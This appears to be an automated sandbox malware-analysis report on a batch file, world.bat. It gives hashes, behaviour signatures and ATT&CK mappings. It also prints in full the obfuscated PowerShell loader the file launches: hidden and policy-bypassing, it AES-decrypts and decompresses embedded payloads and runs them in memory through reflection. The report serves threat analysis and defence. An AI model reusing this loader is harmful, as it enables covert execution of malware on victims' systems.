348b05201dbe7fd54d844f0e94906a45c899bb0a450c11a2d0e7a385517f0a4e

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20250207-en
resource tags

arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
submitted
03/03/2025, 10:44

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General

Target

world.bat
Size

94KB
MD5

a5bd53f790ed63251d0f435b17ada13d
SHA1

c0ada960a41596819df77f185dfe79b730ade6c8
SHA256

348b05201dbe7fd54d844f0e94906a45c899bb0a450c11a2d0e7a385517f0a4e
SHA512

fe034f585627253eb436fc7f0b0d831e70acf93351c09e97ddb21f569cd1fc158777738eb24910c66d2a65d560801bb4cfb0835281f711f21e4e8d45e06fcfa0
SSDEEP

1536:y3UhPdcYkDCDYe694UQ3DvwDnqFDdbYdLRmUpDLHcfVWeIZ9U1mRDLOeBrT:y3K6Yb694VzvweEUUefVmZOwRDLOW

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2504	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2504	2768	cmd.exe	31
PID 2768 wrote to memory of 2504	2768	cmd.exe	31
PID 2768 wrote to memory of 2504	2768	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\world.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pRmtmB/ugH2fDAdQ1jnbQ+2xlrRevgyzMZYoaNcI2bA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z/EhX1qbRvIc8ksyAuzKnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ildFc=New-Object System.IO.MemoryStream(,$param_var); $BIzdO=New-Object System.IO.MemoryStream; $wvVkJ=New-Object System.IO.Compression.GZipStream($ildFc, [IO.Compression.CompressionMode]::Decompress); $wvVkJ.CopyTo($BIzdO); $wvVkJ.Dispose(); $ildFc.Dispose(); $BIzdO.Dispose(); $BIzdO.ToArray();}function execute_function($param_var,$param2_var){ $hzQGQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MmgRI=$hzQGQ.EntryPoint; $MmgRI.Invoke($null, $param2_var);}$cnMfq = 'C:\Users\Admin\AppData\Local\Temp\world.bat';$host.UI.RawUI.WindowTitle = $cnMfq;$KwfLC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cnMfq).Split([Environment]::NewLine);foreach ($IjgYh in $KwfLC) { if ($IjgYh.StartsWith(':: ')) { $cbUwg=$IjgYh.Substring(3); break; }}$payloads_var=[string[]]$cbUwg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2504-4-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

Filesize
4KB

Download
memory/2504-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2504-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2504-11-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2504-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2504-9-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2504-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2504-7-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2504-12-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download